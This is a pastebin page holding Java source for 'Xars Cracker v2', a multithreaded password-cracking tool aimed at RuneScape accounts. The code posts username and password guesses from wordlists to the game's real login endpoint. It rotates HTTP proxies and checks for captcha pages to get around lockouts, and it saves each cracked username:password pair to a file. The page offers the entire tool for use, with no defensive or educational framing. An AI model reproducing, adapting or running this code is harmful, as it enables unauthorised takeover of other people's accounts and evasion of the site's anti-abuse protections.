Untitled

From Old Xars Cracker v2, 5 Months ago, written in Plain Text, viewed 66 times.
URL https://paste.bugabuse.net/view/90863a05 Embed
Download Paste or View Raw
  1. /*
  2.  * To change this template, choose Tools | Templates
  3.  * and open the template in the editor.
  4.  */
  5.  
  6. package xarrebornv2;
  7.  
  8. /**
  9.  *
  10.  * @author cohen
  11.  */
  12. import java.io.BufferedReader;
  13. import java.io.BufferedWriter;
  14. import java.io.FileWriter;
  15. import java.io.OutputStreamWriter;
  16. import java.io.IOException;
  17. import java.io.InputStreamReader;
  18. import java.net.InetSocketAddress;
  19. import java.net.Proxy;
  20. import java.net.SocketAddress;
  21. import java.net.URL;
  22. import java.net.HttpURLConnection;
  23. import java.util.ArrayList;
  24.  
  25. class CrackThread extends Thread
  26. {
  27.     private final ArrayList<String> users;
  28.     private final ArrayList<String> proxies;
  29.     private final ArrayList<String> passwords;
  30.     private final int nThread;
  31.     private static int crackCount = 0;
  32.  
  33.     public CrackThread(ArrayList<String> users, ArrayList<String> proxies, ArrayList<String> passwords, int nThread)
  34.     {
  35.         this.users = users;
  36.         this.proxies = proxies;
  37.         this.passwords = passwords;
  38.         this.nThread = nThread;
  39.         start();
  40.     }
  41.  
  42.     @Override
  43.     public void run()
  44.     {
  45.         System.out.println("Started");
  46.         int cUser = 0, cPass = 0, cProxy = 0;
  47.         while (users.size() > cUser)
  48.         {
  49.             if (proxies.size() == cProxy)
  50.             {
  51.                 cProxy = 0;
  52.             }
  53.             if (passwords.size() == cPass)
  54.             {
  55.                 cPass = 0;
  56.                 cUser++;
  57.                 if (users.size() == cUser)
  58.                 {
  59.                     break;
  60.                 }
  61.             }
  62.             switch (crackAccount(users.get(cUser), passwords.get(cPass), cProxy))
  63.             {
  64.                 case -1:
  65.                     System.out.println(crackCount + "#" + nThread + " Error with Proxy: " + proxies.get(cProxy));
  66.                     cProxy++;
  67.                     break;
  68.                 case 0:
  69.                     System.out.println(crackCount + "#" + nThread + " Login Blocked: User " + users.get(cUser)+ " Pass: " + passwords.get(cPass));
  70.                     cProxy++;
  71.                     break;
  72.                 case 1:
  73.                     boolean isBlocked = false;
  74.                     try
  75.                     {
  76.                         isBlocked = isCaptchaBlocked(cProxy);
  77.                     }
  78.                     catch(Exception e)
  79.                     {
  80.                         e.printStackTrace();
  81.                     }
  82.                     if(!isBlocked)
  83.                     {
  84.                         System.out.println(crackCount + "#" + nThread + " Invalid Password: User " + users.get(cUser)+ " Pass: " + passwords.get(cPass));
  85.                         crackCount++;
  86.                         cPass++;
  87.                     }
  88.                     if(isBlocked)
  89.                     {
  90.                         System.out.println(crackCount + "#" + nThread + " Login Blocked (Captcha): User " + users.get(cUser)+ " Pass: " + passwords.get(cPass));
  91.                         cProxy++;
  92.                     }
  93.                     break;
  94.                 case 2:
  95.                     System.out.println("#" + nThread + " Account Cracked: User " + users.get(cUser) + " Pass: " + passwords.get(cPass));
  96.                     writeCrack(users.get(cUser), passwords.get(cPass));
  97.                     cPass = 0;
  98.                     cUser++;
  99.                     break;
  100.             }
  101.         }
  102.     }
  103.  
  104.     public boolean isCaptchaBlocked(int pIndex) throws Exception
  105.     {
  106.         SocketAddress addr = new InetSocketAddress(splitProxy(proxies.get(pIndex)), splitPort(proxies.get(pIndex)));
  107.         Proxy proxy = new Proxy(Proxy.Type.HTTP, addr);
  108.         HttpURLConnection connection = (HttpURLConnection)new URL("https://weblogin.runescape.com/loginform.ws?mod=billing_core&ssl=1&dest=userdetails.ws").openConnection(proxy);
  109.         String str = "";
  110.         BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
  111.         while(reader.readLine() != null)
  112.         {
  113.             str += reader.readLine() + "\r\n";
  114.         }
  115.         if(str.indexOf("Get a new Captcha") > -1)
  116.         {
  117.             return true;
  118.         }
  119.         return false;
  120.     }
  121.     private String splitProxy(String proxy)
  122.     {
  123.         String[] myString;
  124.         myString = proxy.split(":");
  125.         return myString[0];
  126.     }
  127.  
  128.     private int splitPort(String proxy)
  129.     {
  130.         String[] myString;
  131.         myString = proxy.split(":");
  132.         return Integer.parseInt(myString[1]);
  133.     }
  134.  
  135.     private int crackAccount(String userName, String password, int pIndex)
  136.     {
  137.         String reply = getWPage("https://weblogin.runescape.com/login.ws", "mod=ticketing&ssl=1&username="+ userName + "&password=" + password + "&dest=inbox.ws", pIndex);
  138.         if (reply == null)
  139.         {
  140.             return -1;
  141.         }
  142.         if (reply.indexOf("You have been blocked") > 0)
  143.         {
  144.             return 0;
  145.         }
  146.         else if (reply.indexOf("username or password you entered was incorrect") > 0)
  147.         {
  148.             return 1;
  149.         }
  150.         else if (reply.indexOf("logged in") > 0)
  151.         {
  152.             return 2;
  153.         }
  154.         else if (reply.indexOf("login was successful") > 0)
  155.         {
  156.             return 2;
  157.         }
  158.         return -1;
  159.     }
  160.  
  161.     private String getWPage(String url, String data, int pIndex)
  162.     {
  163.         String str = "";
  164.         try
  165.         {
  166.             SocketAddress addr = new InetSocketAddress(splitProxy(proxies.get(pIndex)), splitPort(proxies.get(pIndex)));
  167.             Proxy proxy = new Proxy(Proxy.Type.HTTP, addr);
  168.             URL Url = new URL(url);
  169.             HttpURLConnection connection = (HttpURLConnection)Url.openConnection(proxy);
  170.             connection.setRequestMethod("POST");
  171.             connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  172.             connection.setRequestProperty("Content-Length", "" + data.length());
  173.             connection.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  174.             connection.setConnectTimeout(10000);
  175.             connection.setReadTimeout(40000);
  176.             connection.setDoOutput(true);
  177.             OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream());
  178.             out.write(data);
  179.             out.flush();
  180.             out.close();
  181.             BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
  182.             String line;
  183.             while((line = reader.readLine()) != null)
  184.             {
  185.                 str += line + "\r\n";
  186.             }
  187.             return str;
  188.         }
  189.         catch (Exception e)
  190.         {
  191.             return null;
  192.         }
  193.     }
  194.  
  195.     private void writeCrack(String username, String password)
  196.     {
  197.         try
  198.         {
  199.             BufferedWriter out = new BufferedWriter(new FileWriter("Cracks/" + username + ".txt"));
  200.             out.write(username + ":" + password);
  201.             out.close();
  202.         }
  203.         catch (IOException e)
  204.         {
  205.             e.printStackTrace();
  206.             System.exit(1);
  207.         }
  208.     }
  209. }

Reply to "Untitled"

Here you can reply to the paste above